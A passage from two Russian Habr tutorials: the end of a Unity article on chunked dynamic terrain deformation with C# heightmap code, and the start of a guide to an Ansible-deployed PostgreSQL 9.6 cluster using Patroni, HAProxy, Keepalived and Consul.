Собственно создание ландшафтов происходит в методе InitializeTerrainArray(), который заполняет массив Terrain'ов новыми экземплярами и перемещает их на нужное место в игровом мире. Метод BuildNewTerrain() создает очередной экземпляр и инициализирует его нужными параметрами а также помещает внутрь GameObject'a «parent» (предполагается, что на сцене будет предварительно создан игровой объект, вмещающий в себя chunk'и SuperTerrain'а, чтобы не загрязнять инспектор лишними игровыми объектами и упростить cleanup, если он понадобится.)
Здесь же применяется лечение одной из проблем с черными полосами на границах ландшафта — метод SetNeighbours(), который итерируется по созданным ландшафтам и проставляет им соседей. **Важное замечание:** метод TerrainData.SetNeighbors() должен применяться **для всех** ландшафтов в группе. То есть, если вы указали, что ландшафт А является соседом сверху ландшафта В, то вам также нужно указать что ландшафт В является соседом снизу для ландшафта А. Эта избыточность не совсем понятна, однако она значительно упрощает итеративное применение метода, как в нашем случае.
В коде выше есть несколько интересных моментов, например — использование divisor'а при создании очередного ландшафта. Если честно, я и сам не понимаю, почему это нужно — просто создание ландшафта обычным способом (без divisor'а) создает ландшафт неправильного размера (что может быть багом, а может я просто плохо читал документацию). Данная поправка была получена эмпирически и до сих пор не подводила, поэтому я решил оставить ее как есть.
Вы также могли заметить, что внизу листинга имеются два подозрительных метода-хэлпера. На самом деле, это просто результат рефакторинга (так как я показываю листинги более-менее стабильной версии, которая прошла несколько рефакторингов, но все еще не идеальна). Эти методы используются и дальше, при применении локальных и глобальных деформаций. Из их названия несложно догадаться, что они делают.
###### **Применение глобальной карты высот**
Теперь, после того как ландшафт создан, настало самое время научить его применять «глобальную карту высот». Для этого в SuperTerrain предусмотрена
**пара методов**
```
///
/// Sets the global heightmap to match the given one. Given heightmap must match the (SubterrainHeightmapResolution \* Detail).
///
/// Heightmap to set the heights from.
public void SetGlobalHeightmap(float[,] heightmap) {
ForEachSubterrain((x, y, subterrain) => {
var chunkStartX = x * GameplayConstants.SuperTerrainHeightmapResolution;
var chunkStartY = y * GameplayConstants.SuperTerrainHeightmapResolution;
var nextChunkStartX = chunkStartX + GameplayConstants.SuperTerrainHeightmapResolution + 1;
var nextChunkStartY = chunkStartY + GameplayConstants.SuperTerrainHeightmapResolution + 1;
var sumHm = GetSubHeightMap(heightmap, nextChunkStartX, nextChunkStartY, chunkStartX, chunkStartY));
subterrain.terrainData.SetHeights(0, 0, subHm);
});
}
///
/// Retrieves the minor heightmap from the entire heightmap array.
///
/// The minor height map.
/// Major heightmap.
/// Xborder.
/// Yborder.
/// The x coordinate.
/// The y coordinate.
private float[,] GetSubHeightMap (float[,] heightMap, int Xborder, int Yborder, int x, int y)
{
if (Xborder == x || Yborder == y || x < 0 || y < 0)
return null;
var temp = new float[Yborder - y, Xborder - x];
for (int i = x; i < Xborder; i++) {
for(int j = y; j < Yborder; j++) {
temp[j - y, i - x] = heightMap[j, i];
}
}
return temp;
}
```
Согласен, выглядит эта пара методов не очень красиво, но я постараюсь все объяснить. Итак, название метода SetGlobalHeightmap говорит само за себя. Все, что он делает — итерируется по всем chunk'ам (которые здесь названы subterrain'ами) и применяет к ним именно тот кусочек карты высот, который соответствует его координатам. Здесь и используется злополучный SetHeights, производительность которого и заставляет нас идти на все эти извращения. Как видно из кода, константа SuperTerrainHeightmapResolution не учитывает отличие на 1 разрешения карты высот от степени двойки (чье существование обосновывается в прошлой секции). И пусть вас не смутит ее название — эта константа хранит разрешение карты высот для chunk'а, а не для всего SuperTerrain. Поскольку код SuperTerrain активно использует различные константы, я сразу покажу вам класс GameplayConstants. Возможно, так будет понятнее, что же все таки происходит. Я убрал из данного класса все не относящееся к SuperTerrain.
**GameplayConstants.cs**
```
namespace Habitat.Game
{
///
/// Contains the gameplay constants.
///
public static class GameplayConstants
{
///
/// The height of the world. Used in terrain raycasting and Superterrain generation.
///
public const float WorldHeight = 512f;
///
/// Number of the "Terrain" layer
///
public const int TerrainLayer = 8;
///
/// Calculated mask for raycasting against the terrain.
///
public const int TerrainLayerMask = 1 << TerrainLayer;
///
/// Superterrain part side size.
///
public const int SubterrainSize = 256;
///
/// Heightmap resolution for the SuperTerrain.
///
public const int SuperTerrainHeightmapResolution = 512;
///
/// Pixel error for the SuperTerrain.
///
public const int SuperTerrainPixelError = 1;
}
}
```
Что касается метода GetSubHeightMap, то это просто очередной хэлпер, копирующий часть часть переданной матрицы в матрицу-минор. Это нужно потому, что SetHeights не может применить часть матрицы. Это ограничение вызывает целую кучу лишних выделений памяти, но с ним ничего нельзя поделать. К сожалению, разработчики Unity не предусмотрели сценарий изменения ландшафта в реальном времени.
Метод GetSubHeightMap используется и дальше при применении локальных деформаций, но об этом позже.
###### **Применение локальных деформаций**
Для применения деформаций нужна не только карта высот, но и прочая информация типа координат, способа применения, размеров и т.д. В данной версии вся информация инкапсулирована в класс TerrainDeformation, листинг которого можно увидеть
**здесь.**
```
namespace Habitat.DynamicTerrain.Deformation {
public abstract class TerrainDeformation
{
///
/// Height of the deformation in hightmap pixels.
///
public int H { get; private set; }
///
/// Width of the deformation in hightmap pixels.
///
public int W { get; private set; }
///
/// Heightmap matrix object
///
public float[,] Heightmap { get; private set; }
///
/// Initializes a new instance of the class.
///
/// Height in heightmap pixels
/// Width in heightmap pixels
protected TerrainDeformation(int height, int width)
{
H = height;
W = width;
Heightmap = new float[height,width];
}
///
/// Initializes a new instance of the class.
///
/// Normalized heightmap matrix.
protected TerrainDeformation(float[,] bitmap)
{
Heightmap = bitmap;
H = bitmap.GetUpperBound(0);
W = bitmap.GetUpperBound(1);
}
///
/// Applies deformation to the point. Additive by default.
///
/// The to point.
/// Current value.
/// New value.
public virtual float ApplyToPoint(float currentValue, float newValue) {
return currentValue + newValue;
}
///
/// Generates the heightmap matrix based on constructor parameters.
///
public abstract TerrainDeformation Generate();
}
}
```
Несложно догадаться, что наследники этого класса реализуют абстрактный метод Generate(), где и описывают логику по созданию соответствующего heightmap'а для деформации. Также TerrainDeformation содержит информацию о том, как именно она должна применяться к текущему ландшафту — это определяет виртуальный метод ApplyToPoint. По-умолчанию он определяет деформацию как аддитивную, но перегрузив метод можно добиться более сложных методов комбинирования двух высот. Что касается разделения матрицы деформации на суб-матрицы и применение их к соответствующим chunk'ам, то этот код находится в классе SuperTerrain и выделен в
**следующую группу методов:**
```
///
/// Compound terrain object.
///
public class SuperTerrain
{
//...
///
///Resolution of each terrain in the SuperTerrain;
///
private readonly int hmResolution = GameplayConstants.SuperTerrainHeightmapResolution;
/// Applies the partial heightmap to a single terrain object.
///
/// Heightmap.
/// Terrain x.
/// Terrain y.
/// Start x.
/// Start y.
/// Deformation type.
private void ApplyPartialHeightmap(float[,] heightmap, int chunkX, int chunkY,
int startX, int startY, TerrainDeformation td)
{
if (heightmap == null)
return;
var current = subterrains [chunkY, chunkX].terrainData.GetHeights(
startX,
startY,
heightmap.GetUpperBound (1) + 1,
heightmap.GetUpperBound (0) + 1);
for (int x = 0; x <= heightmap.GetUpperBound(1); x++) {
for (int y = 0; y <= heightmap.GetUpperBound(0); y++) {
current[y, x] = td.ApplyToPoint(current[y, x], heightmap[y, x]);
}
}
subterrains[chunkY, chunkX].terrainData.SetHeights (startX, startY, current);
}
private int TransformCoordinate (float coordinate)
{
return Mathf.RoundToInt(coordinate * hmResolution / GameplayConstants.SubterrainSize);
}
///
/// Applies the local deformation.
///
/// Deformation.
/// The x coordinate.
/// The y coordinate.
public void ApplyDeformation(TerrainDeformation td, float xCoord, float yCoord)
{
int x = TransformCoordinate (xCoord);
int y = TransformCoordinate (yCoord);
var chunkX = x / hmResolution;
var chunkY = y / hmResolution;
ApplyPartialHeightmap(GetBottomLeftSubmap(td, x, y), chunkX - 1, chunkY - 1, hmResolution, hmResolution, td);
ApplyPartialHeightmap(GetLeftSubmap(td, x, y), chunkX - 1, chunkY, hmResolution, y % hmResolution, td);
ApplyPartialHeightmap(GetTopLeftSubmap(td, x, y), chunkX - 1, chunkY + 1, hmResolution, 0, td);
ApplyPartialHeightmap(GetBottomSubmap(td, x, y), chunkX, chunkY - 1, x % hmResolution, hmResolution, td);
ApplyPartialHeightmap(GetBottomRightSubmap(td, x, y), chunkX + 1, chunkY - 1, 0, hmResolution, td);
ApplyPartialHeightmap(GetMiddleSubmap(td, x, y), chunkX, chunkY, x % hmResolution, y % hmResolution, td);
ApplyPartialHeightmap(GetTopSubmap(td, x, y), chunkX, chunkY + 1, x % hmResolution, 0, td);
ApplyPartialHeightmap(GetRightSubmap(td, x, y), chunkX + 1, chunkY, 0, y % hmResolution, td);
ApplyPartialHeightmap(GetTopRightSubmap(td, x, y), chunkX + 1, chunkY + 1, 0, 0, td);
}
///Retrieves the bottom-left part of the deformation (Subheightmap, applied to the bottom
///left chunk of the targetChunk) or null if no such submap has to be applied.
///Covers corner cases
private float[,] GetBottomLeftSubmap(TerrainDeformation td, int x, int y) {
if (x % hmResolution == 0 && y % hmResolution == 0 && x / hmResolution > 0 && y / hmResolution > 0)
{
return new float[,] {{ td.Heightmap[0, 0] }};
}
return null;
}
///Retrieves the left part of the deformation (Subheightmap, applied to the
///left chunk of the targetChunk) or null if no such submap has to be applied.
///Covers edge cases
private float[,] GetLeftSubmap(TerrainDeformation td, int x, int y) {
if (x % hmResolution == 0 && x / hmResolution > 0)
{
int endY = Math.Min((y / hmResolution + 1) * hmResolution, y + td.H);
return GetSubHeightMap(td.Heightmap, 1, endY - y, 0, 0);
}
return null;
}
///Retrieves the bottom part of the deformation (Subheightmap, applied to the bottom
///chunk of the targetChunk) or null if no such submap has to be applied.
///Covers edge cases
private float[,] GetBottomSubmap(TerrainDeformation td, int x, int y) {
if (y % hmResolution == 0 && y / hmResolution > 0)
{
int endX = Math.Min((x / hmResolution + 1) * hmResolution, x + td.W);
return GetSubHeightMap(td.Heightmap, endX - x, 1, 0, 0);
}
return null;
}
///Retrieves the top-left part of the deformation (Subheightmap, applied to the top
///left chunk of the targetChunk) or null if no such submap has to be applied.
///Covers split edge cases
private float[,] GetTopLeftSubmap(TerrainDeformation td, int x, int y) {
if (x % hmResolution == 0 && x / hmResolution > 0)
{
int startY = (y / hmResolution + 1) * hmResolution;
int endY = y + td.H;
if (startY > endY) return null;
return GetSubHeightMap(td.Heightmap, 1, td.H, 0, startY - y);
}
return null;
}
///Retrieves the bottom-right part of the deformation (Subheightmap, applied to the bottom
///right chunk of the targetChunk) or null if no such submap has to be applied.
///Covers split edge cases
private float[,] GetBottomRightSubmap(TerrainDeformation td, int x, int y) {
if (y % hmResolution == 0 && y / hmResolution > 0)
{
int startX = (x / hmResolution + 1) * hmResolution;
int endX = x + td.W;
if (startX > endX) return null;
return GetSubHeightMap(td.Heightmap, td.W, 1, startX - x, 0);
}
return null;
}
///Retrieves the main deformation part.
private float[,] GetMiddleSubmap(TerrainDeformation td, int x, int y) {
int endX = Math.Min((x / hmResolution + 1) * hmResolution, x + td.W);
int endY = Math.Min((y / hmResolution + 1) * hmResolution, y + td.H);
return GetSubHeightMap(td.Heightmap,
Math.Min(endX - x + 1, td.Heightmap.GetUpperBound(0) + 1),
Math.Min(endY - y + 1, td.Heightmap.GetUpperBound(1) + 1),
0, 0);
}
///Retrieves the top deformation part or null if none required
private float[,] GetTopSubmap(TerrainDeformation td, int x, int y) {
int startY = (y / hmResolution + 1) * hmResolution;
if (y + td.H < startY) return null;
int endX = Math.Min((x / hmResolution + 1) * hmResolution, x + td.W);
return GetSubHeightMap(td.Heightmap, Math.Min (endX - x + 1, td.Heightmap.GetUpperBound(0) + 1), td.H, 0, startY - y);
}
///Retrieves the left deformation part or null if none required
private float[,] GetRightSubmap(TerrainDeformation td, int x, int y) {
int startX = (x / hmResolution + 1) * hmResolution;
if (x + td.W < startX) return null;
int endY = Math.Min((y / hmResolution + 1) * hmResolution, y + td.H);
return GetSubHeightMap(td.Heightmap, td.W, Math.Min(endY - y + 1, td.Heightmap.GetUpperBound(1) + 1), startX - x, 0);
}
///Retrieves the top-right part of the main deformation.
private float[,] GetTopRightSubmap(TerrainDeformation td, int x, int y) {
int startX = (x / hmResolution + 1) * hmResolution;
int startY = (y / hmResolution + 1) * hmResolution;
if (x + td.W < startX || y + td.H < startY) return null;
return GetSubHeightMap(td.Heightmap, td.W, td.H, startX - x, startY - y);
}
}
```
Как вы уже наверное догадались, единственный public метод, который есть в листинге — и есть самый главный. Метод ApplyDeformation() позволяет применить указанную деформацию к ландшафту в заданных координатах. Первым делом при его вызове происходит конвертация координат на ландшафте в координаты на карте высот (помните? Если размеры ландшафта отличаются от разрешения карты высот, то это нужно учесть). Вся работа по применению деформации происходит внутри девяти вызовов ApplyPartialHeightmap, которые применяют куски карты высот от деформации к соответствующим им chunk'ам. Как я уже говорил ранее, нам нужно именно девять частей, а не четыре чтобы учесть все возможные граничные и угловые случаи:
Именно этим делением и занимаются методы GetXXXSubmap() — получением необходимых миноров деформации на основании данных о положении деформации и границах различных chunk'ов. Каждый из методов возвращает null, в случае если деформация не имеет влияния на соответствующий chunk и метод по применению этих самых миноров (ApplyPartialHeightmap()) ничего не делает, если на вход ему приходит null.
#### **Результаты и выводы**
Получившийся механизм конечно далек от идеала, но он уже функционален и позволяет регулировать важные параметры ландшафта, чтобы добиться кое-какой гибкости в плане настроек производительности. Среди основных потенциальных улучшений можно отметить следующие:
* Тяжелую работу выполнять в отдельном процессе, чтобы снизить влияние на framerate в особенно интенсивных сценах.
* Оптимизировать разбиение на миноры, избавившись от выделения памяти каждый раз, посредством, например, кеширования. Пока-что сложно представить как можно будет кэшировать что-то подобное. Для начала можно ограничиться самыми частыми кейсами — небольшая деформация прямо по середине chunk'а.
* Добавить возможность влиять не только на геометрию ландшафта, но и на его текстуру — деформации с изменением splat-map'ов.
* Оптимизации для применения нескольких дфеормаций за один кадр. Например, накапливать деформации для chunk'ов в каком-нибудь буфере и по окончанию обработки логики каким-либо образом их комбинировать и применять — получим один вызов SetHeights на chunk, даже если было несколько деформаций.
**Скриншоты**Маленькие, едва заметные деформации из-за множественных попаданий снарядов:
Динамически созданный разлом в земле (Параметры были подобраны не очень хорошо, как следствие — «зубчатые» стенки.
Один из chunk'ов выделен, деформации на стыках применяются верно, видимых разрывов нет:
Большой кратер, занимающий весь chunk.
**Видео**[Малые деформации от выстрелов](https://www.youtube.com/watch?v=GGgEALJ1MoE)
[Анимированная деформация и кратеры](https://www.youtube.com/watch?v=yMv34YodQbE)
И, разумеется, ссылки на играбельные демо:
[Для Windows](https://drive.google.com/file/d/0ByET7N3PxyMbOEE4ZWlURmtvcnM/view?usp=sharing)
[Для Linux](https://drive.google.com/file/d/0ByET7N3PxyMbb2xGMkc5N0ljTFU/view?usp=sharing)
**Немного инструкций**Это не демо конкретно деформаций, сколько небольшой RTS, которую я делаю. В ней присутствует возможность деформировать ландшафт и эта деформация влияет на геймплей. Единственная вещь, которая влияет на ландшафт в игре — это стрельба танков. Однако, нажав на клавишу "~" в игре можно открыть development console. Написав «man» или «help», можно увидеть список доступных команд, среди которых будут spawn\_crater и sv\_spawn\_animdef. Их можно использовать чтобы применить кратер/анимированную деформацию как в видео. Я буду очень благодарен вам, если вы сможете запустить демо на своей машине и произвести некоторые benchmark'и и оставить результаты (ваш framerate во время анимированной деформации, ваши ощущения в целом) в качестве комментария к архиву с демо (на google drive).
Управление в Демо: Мышь + WASD = перемещение камеры. Колесико мыши = зум. Ctrl = поворачивать камеру. | https://habr.com/ru/post/269645/ | null | ru | null |
# Кластер PostgreSQL высокой надежности на базе Patroni, Haproxy, Keepalived
Привет, Хабр! Встала передо мной недавно задача: настроить максимально надежный кластер серверов PostgreSQL версии 9.6.
По задумке, хотелось получить кластер, который переживает выпадение любого сервера, или даже нескольких серверов, и умеет автоматически вводить в строй сервера после аварий.
Планируя кластер я проштудировал много статей, как из основной документации к PostgreSQL, так и различных howto, в том числе с Хабра, и пробовал настроить стандартный кластер с RepMgr, эксперементировал с pgpool.
В целом оно заработало, но у меня периодически всплывали проблемы с переключениями, требовалось ручное вмешательство для восстановления после аварий, и т.д. В общем я решил поискать еще варианты.
В итоге где-то (уже не вспомню точно где) нашел ссылку на прекрасный проект [Zalando Patroni](https://github.com/zalando/patroni), и все заверте…
### Введение
Patroni — это демон на python, позволяющий автоматически обслуживать кластеры PostgreSQL с различными типами репликации, и автоматическим переключением ролей.
Его особенная красота, на мой взгляд в том, что для поддержания актуальности кластера и выборов мастера используются распределенные [DCS](https://en.wikipedia.org/wiki/Distributed_control_system) хранилища (поддерживаются Zookeeper, etcd, Consul).
Таким образом кластер легко интегрируется практически в любую систему, всегда можно выяснить кто в данный момент мастер, и статус всех серверов запросами в DCS, или напрямую к Patroni через http.
Ну и просто это красиво :)
Я потестировал работу Patroni, пробовал ронять мастера и другие сервера, пробовал наливать разные базы (~25 Гб база автоматически поднимается с нуля на 10Гб сети за несколько минут), и в целом мне проект Patroni очень понравился. После полной реализации описанной ниже схемы я проводил тестирование простым бенчером, который ходил в базу по единому адресу, и переживал падения всех элементов кластера (мастер сервера, haproxy, keepalived).
Задержка при передаче роли новому мастеру составляла пару секунд. При возвращении бывшего мастера в кластер, или добавлении нового сервера, смены ролей не происходит.
Для автоматизации разворачивания кластера и добавления новых серверов, решено было использовать привычный Ansible (я дам ссылки на получившиеся роли в конце статьи). В качестве DCS выступает уже применяемый у нас Consul.
У статьи две основные цели: показать пользователям PostgreSQL что есть такая прекрасная штука как Patroni (упоминаний в рунете вообще и на Хабре в частности, практически нет), и заодно немного поделиться опытом использования Ansible на простом примере, тем кто только начинает с ним работать.
Я постараюсь разъяснить все действо сразу на примере разбора Ansible ролей и плейбуков. Те, кто не использует Ansible, смогут перенести все действия в любимое средство автоматизированного управления серверами, либо выполнить их же вручную.
Поскольку большая часть yaml скриптов будет длинной, я буду заворачивать их в спойлер.
Рассказ будет разделен на две части — подготовка серверов и разворачивание непосредственно кластера.
Тем кто хорошо знаком с Ansible первая часть интересна не будет, поэтому рекомендую перейти сразу ко второй.
### Часть I
Для этого примера я использую виртуальные машины на базе Centos 7. Виртуалки разворачиваются из шаблона который периодически обновляется (ядро, системные пакеты), но эта тема выходит за рамки данной статьи.
Отмечу только, что никакого прикладного или серверного софта на виртуалках заранее не установлено. Также вполне подойдут любые облачные ресурсы, например с AWS, DO, vScale, и т.п. Для них есть скрипты динамического инвентаря и интеграции с Ansible, либо можно прикрутить Terraform, так что весь процесс создания и удаления серверов c нуля может быть автоматизирован.
Для начала нужно создать инвентарь используемых ресурсов для Ansible. Ansible у меня (и по умолчанию) расположен в /etc/ansible. Создаем инвентарь в файле /etc/ansible/hosts:
```
[pgsql]
cluster-pgsql-01.local
cluster-pgsql-02.local
cluster-pgsql-03.local
```
У нас используется внутренняя доменная зона .local, поэтому у серверов такие имена.
Далее нужно подготовить каждый сервер к установке всех необходимых компонентов, и рабочих инструментов.
Для этой цели создаем плейбук в /etc/ansible/tasks:
**/etc/ansible/tasks/essentialsoftware.yml**
```
---
- name: Install essential software
yum: name={{ item }} state=latest
tags: software
with_items:
- ntpdate
- bzip2
- zip
- unzip
- openssl-devel
- mc
- vim
- atop
- wget
- mytop
- screen
- net-tools
- rsync
- psmisc
- gdb
- subversion
- htop
- bind-utils
- sysstat
- nano
- iptraf
- nethogs
- ngrep
- tcpdump
- lm_sensors
- mtr
- s3cmd
- psmisc
- gcc
- git
- python2-pip
- python-devel
- name: install the 'Development tools' package group
yum:
name: "@Development tools"
state: present
```
Набор пакетов Essential служит для создания на любом сервере привычного рабочего окружения.
Группа пакетов Development tools, некоторые библиотеки -devel и python нужны pip-у для сборки Python модулей к PostgreSQL.
Мы используем виртуальные машины на базе VmWare ESXi, и для удобства администрирования в них нужно запускать агент vmware.
Для этого мы запустим открытый агент vmtoolsd, и опишем его установку в отдельном плейбуке (поскольку не все сервера у нас виртуальные, и возможно для каких-то из них этот таск не понадобится):
**/etc/ansible/tasks/open-vm-tools.yml**
```
---
- name: Install open VM tools for VMWARE
yum: name={{ item }} state=latest
tags: open-vm-tools
with_items:
- open-vm-tools
- name: VmWare service start and enabling
service: name=vmtoolsd.service state=started enabled=yes
tags: open-vm-tools
```
Для того чтобы завершить подготовку сервера к установке основной части софта, в нашем случае, понадобятся следующие шаги:
1) настроить синхронизацию времени с помощью ntp
2) установить и запустить zabbix агент для мониторинга
3) накатить требуемые ssh ключи и authorized\_keys.
Чтобы не слишком раздувать статью деталям не относящимися к собственно кластеру, я кратко процитирую ansible плейбуки, выполняющие эти задачи:
NTP:
**/etc/ansible/tasks/ntpd.yml**
```
---
- name: setting default timezone
set_fact:
timezone: name=Europe/Moscow
when: timezone is not defined
- name: setting TZ
timezone: name={{ timezone }}
when: timezone is defined
tags:
- tz
- tweaks
- ntp
- ntpd
- name: Configurating cron for ntpdate
cron: name="ntpdate" minute="*/5" job="/usr/sbin/ntpdate pool.ntp.org"
tags:
- tz
- tweaks
- ntp
- ntpd
- name: ntpd stop and disable
service: name=ntpd state=stopped enabled=no
tags:
- tz
- tweaks
- ntp
- ntpd
ignore_errors: yes
- name: crond restart and enabled
service: name=crond state=restarted enabled=yes
tags:
- tz
- tweaks
- ntp
- ntpd
```
Вначале проверяется, не выставлена ли для сервера персональная таймзона, и если нет, то выставляется Московская (таких серверов у нас большинство).
Мы не используем ntpd из-за проблем с уплыванием времени на виртуалках ESXi, после которого ntpd отказывается синхронизировать время. (И tinker panic 0 не помогает). Поэтому просто запускаем кроном ntp клиент раз 5 минут.
Zabbix-agent:
**/etc/ansible/tasks/zabbix.yml**
```
---
- name: set zabbix ip external
set_fact:
zabbix_ip: 132.xx.xx.98
tags: zabbix
- name: set zabbix ip internal
set_fact:
zabbix_ip: 192.168.xx.98
when: ansible_all_ipv4_addresses | ipaddr('192.168.0.0/16')
tags: zabbix
- name: Import Zabbix3 repo
yum: name=http://repo.zabbix.com/zabbix/3.0/rhel/7/x86_64/zabbix-release-3.0-1.el7.noarch.rpm state=present
tags: zabbix
- name: Remove old zabbix
yum: name=zabbix2* state=absent
tags: zabbix
- name: Install zabbix-agent software
yum: name={{ item }} state=latest
tags: zabbix
with_items:
- zabbix-agent
- zabbix-release
- name: Creates directories
file: path={{ item }} state=directory
tags:
- zabbix
- zabbix-mysql
with_items:
- /etc/zabbix/externalscripts
- /etc/zabbix/zabbix_agentd.d
- /var/lib/zabbix
- name: Copy scripts
copy: src=/etc/ansible/templates/zabbix/{{ item }} dest=/etc/zabbix/externalscripts/{{ item }} owner=zabbix group=zabbix mode=0755
tags: zabbix
with_items:
- netstat.sh
- iostat.sh
- iostat2.sh
- iostat_collect.sh
- iostat_parse.sh
- php_workers_discovery.sh
- name: Copy .my.cnf
copy: src=/etc/ansible/files/mysql/.my.cnf dest=/var/lib/zabbix/.my.cnf owner=zabbix group=zabbix mode=0700
tags:
- zabbix
- zabbix-mysql
- name: remove default configs
file: path={{ item }} state=absent
tags: zabbix
with_items:
- /etc/zabbix_agentd.conf
- /etc/zabbix/zabbix_agentd.conf
- name: put zabbix-agentd.conf to default place
template: src=/etc/ansible/templates/zabbix/zabbix_agentd.tpl dest=/etc/zabbix_agentd.conf owner=zabbix group=zabbix force=yes
tags: zabbix
- name: link zabbix-agentd.conf to /etc/zabbix
file: src=/etc/zabbix_agentd.conf dest=/etc/zabbix/zabbix_agentd.conf state=link
tags: zabbix
- name: zabbix-agent start and enable
service: name=zabbix-agent state=restarted enabled=yes
tags: zabbix
```
При установке Zabbix конфиг агента накатывается из шаблона, нужно поменять только адрес сервера.
Сервера расположенные в пределах нашей сети ходят на 192.168.х.98, а сервера не имеющие в нее доступа, на реальный адрес этого же сервера.
Перенос ssh ключей и настройка ssh вынесена в отдельную роль, которую можно найти, например, на ansible-galaxy.
Вариантов там много, а суть изменений достаточно тривиальна, поэтому цитировать весь ее контент здесь я смысла не вижу.
Настала пора накатить на сервера созданную конфигурацию. Вообще я выполняю установку всех компонентов и самого кластера в один шаг, уже при наличии полного конфига, но мне кажется что для целей данного туториала будет лучше разделить это на два шага, соответственно по главам.
Создаем плейбук для группы серверов:
**/etc/ansible/cluster-pgsql.yml**
```
---
- hosts: pgsql
pre_tasks:
- name: Setting system hostname
hostname: name="{{ ansible_host }}"
- include: tasks/essentialsoftware.yml
- include: tasks/open-vm-tools.yml
- include: tasks/ntpd.yml
post_tasks:
- include: tasks/zabbix.yml
roles:
- ssh.role
- ansible-role-patroni
```
Запускаем обработку всех серверов:
**Скрытый текст**~# ansible-playbook cluster-pgsql.yml --skip-tags patroni
Если вы полностью скачали мой пример из гитхаб репозитория, то у вас будет также в наличии и роль Patroni, которую нам пока отрабатывать не нужно.
Аргумент --skip-tags заставляет Ansible пропустить шаги помеченные этим тегом, поэтому роль ansible-role-patroni выполняться сейчас не будет.
Если же ее на диске нет, то ничего страшного и не произойдет, Anisble просто проигнорирует этот ключ.
Ansible у меня заходит на сервера сразу пользователем root, а если вам потребуется пускать ansible под непревилегированного пользователя, стоит дополнительно добавить в шаги требующие рутовых прав специальный флаг «become: true», который побудит ansible использовать вызовы sudo для этих шагов.
Подготовка закончена.
### Часть II
Приступаем к разворачиванию непосредственно кластера.
Поскольку для настройки кластера требуется много работы (установить PostgreSQL и все компоненты, залить для них индивидуальные конфиги), я выделил весь этот процесс в отдельную роль.
Роли в Ansible позволяют сгруппировать наборы смежных тасков, и тем упрощают написание скриптов и поддержку их в рабочем состоянии.
Шаблон роли для установки Patroni я взял тут: <https://github.com/gitinsky/ansible-role-patroni>, за что спасибо его автору.
Для своих целей я переработал имеющийся и добавил свои плейбуки haproxy и keepalived.
Роли у меня лежат в каталоге /etc/ansible/roles. Создаем каталог для новой роли, и подкаталоги для ее компонентов:
```
~# mkdir /etc/ansible/roles/ansible-role-patroni/tasks
~# mkdir /etc/ansible/roles/ansible-role-patroni/templates
```
Помимо PostgreSQL наш кластер будет состоять из следующих компонентов:
1) haproxy для отслеживания состояния серверов и перенаправления запросов на мастер сервер.
2) keepalived для обеспечения наличия единой точки входа в кластер — виртуального IP.
Все плейбуки выполняемые данной ролью перечисляем в файле, запускаемом ansible по умолчанию:
**/etc/ansible/roles/ansible-role-patroni/tasks/main.yml**
```
- include: postgres.yml
- include: haproxy.yml
- include: keepalived.yml
```
Далее начинаем описывать отдельные таски.
Первый плейбук устанавливает PostgreSQL 9.6 из родного репозитория, и дополнительные пакеты требуемые Patroni, а затем скачивает с GitHub саму Patroni:
**/etc/ansible/roles/ansible-role-patroni/tasks/postgres.yml**
```
---
- name: Import Postgresql96 repo
yum: name=https://download.postgresql.org/pub/repos/yum/9.6/redhat/rhel-7-x86_64/pgdg-centos96-9.6-3.noarch.rpm state=present
tags: patroni
when: install is defined
- name: Install PGsql96
yum: name={{ item }} state=latest
tags: patroni
with_items:
- postgresql96
- postgresql96-contrib
- postgresql96-server
- python-psycopg2
- repmgr96
when: install is defined
- name: checkout patroni
git: repo=https://github.com/zalando/patroni.git dest=/opt/patroni
tags: patroni
when: install is defined
- name: create /etc/patroni
file: state=directory dest=/etc/patroni
tags: patroni
when: install is defined
- name: put postgres.yml
template: src=postgres0.yml dest=/etc/patroni/postgres.yml backup=yes
tags: patroni
when: install is defined
- name: install python packages
pip: name={{ item }}
tags: patroni
with_items:
- python-etcd
- python-consul
- dnspython
- boto
- mock
- requests
- six
- kazoo
- click
- tzlocal
- prettytable
- PyYAML
when: install is defined
- name: put patroni.service systemd unit
template: src=patroni.service dest=/etc/systemd/system/patroni.service backup=yes
tags: patroni
when: install is defined
- name: Reload daemon definitions
command: /usr/bin/systemctl daemon-reload
tags: patroni
- name: restart
service: name=patroni state=restarted enabled=yes
tags: patroni
```
Кроме установки ПО данный плейбук также заливает конфигурацию для текущего сервера Patroni, и systemd юнит для запуска демона в системе, после чего запускает демон Patroni. Шаблоны конфигов и systemd юнит должны лежать в каталоге templates внутри роли.
Шаблон конфига Patroni:
**/etc/ansible/roles/ansible-role-patroni/templates/postgres.yml.j2**
```
name: {{ patroni_node_name }}
scope: &scope {{ patroni_scope }}
consul:
host: consul.services.local:8500
restapi:
listen: 0.0.0.0:8008
connect_address: {{ ansible_default_ipv4.address }}:8008
auth: 'username:{{ patroni_rest_password }}'
bootstrap:
dcs:
ttl: &ttl 30
loop_wait: &loop_wait 10
maximum_lag_on_failover: 1048576 # 1 megabyte in bytes
postgresql:
use_pg_rewind: true
use_slots: true
parameters:
archive_mode: "on"
wal_level: hot_standby
archive_command: mkdir -p ../wal_archive && cp %p ../wal_archive/%f
max_wal_senders: 10
wal_keep_segments: 8
archive_timeout: 1800s
max_replication_slots: 5
hot_standby: "on"
wal_log_hints: "on"
pg_hba: # Add following lines to pg_hba.conf after running 'initdb'
- host replication replicator 192.168.0.0/16 md5
- host all all 0.0.0.0/0 md5
postgresql:
listen: 0.0.0.0:5432
connect_address: {{ ansible_default_ipv4.address }}:5432
data_dir: /var/lib/pgsql/9.6/data
pg_rewind:
username: superuser
password: {{ patroni_postgres_password }}
pg_hba:
- host all all 0.0.0.0/0 md5
- hostssl all all 0.0.0.0/0 md5
replication:
username: replicator
password: {{ patroni_replicator_password }}
network: 192.168.0.0/16
superuser:
username: superuser
password: {{ patroni_postgres_password }}
admin:
username: admin
password: {{ patroni_postgres_password }}
restore: /opt/patroni/patroni/scripts/restore.py
```
Поскольку для каждого сервера кластера требуется индивидуальная конфигурация Patroni, его конфиг лежит в виде шаблона jinja2 (файл postgres0.yml.j2), и шаг template заставляет ansible транслировать этот шаблон с заменой переменных, значения из которых берутся из отдельного описания для каждого сервера.
Переменные, общие для всего кластера укажем в прямо в инвентаре, который примет теперь следующий вид:
**/etc/ansible/hosts**
```
[pgsql]
cluster-pgsql-01.local
cluster-pgsql-02.local
cluster-pgsql-03.local
[pgsql:vars]
patroni_scope: "cluster-pgsql"
patroni_rest_password: flsdjkfasdjhfsd
patroni_postgres_password: flsdjkfasdjhfsd
